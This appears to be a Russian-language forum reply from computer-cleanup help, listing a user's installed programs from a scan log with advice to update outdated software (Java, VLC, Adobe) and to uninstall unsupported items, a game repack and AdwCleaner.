qBittorrent 4.4.1 v.4.4.1 Внимание! Скачать обновления
--------------------------------- [ SPY ] ---------------------------------
Radmin Viewer 3.5.2 v.3.52.1.0000 Внимание! Программа удаленного доступа!
-------------------------------- [ Java ] ---------------------------------
Java 8 Update 333 (64-bit) v.8.0.3330.2 Внимание! Скачать обновления
^Удалите старую версию и установите новую (jre-8u341-windows-x64.exe - Windows Offline (64-bit))^
-------------------------------- [ Media ] --------------------------------
VLC media player v.3.0.6 Внимание! Скачать обновления
Audacity 2.2.1 v.2.2.1 Внимание! Скачать обновления
--------------------------- [ AdobeProduction ] ---------------------------
Adobe AIR v.1.1.0.5790 Внимание! Скачать обновления
Adobe Creative Cloud v.3.9.0.327 Внимание! Скачать обновления
Adobe Flash Player 32 PPAPI v.32.0.0.465 Данная программа больше не поддерживается разработчиком. Рекомендуется деинсталлировать ее.
Adobe Flash Player 10 Plugin v.10.0.2.54 Данная программа больше не поддерживается разработчиком. Рекомендуется деинсталлировать ее.
ph v.1.0.0 Данная программа больше не поддерживается разработчиком. Рекомендуется деинсталлировать ее.
bl v.1.0.0 Данная программа больше не поддерживается разработчиком. Рекомендуется деинсталлировать ее.

Деинсталлируйте
Game Repack ot xatab 1.0 (HKLM-x32\...\Game Repack ot xatab 1.0) (Version: 1.0 - Game repack) - для справки xatab умер довольно давно.

Запустите AdwCleaner. В меню Параметры прокрутите вниз и выберите Удалить.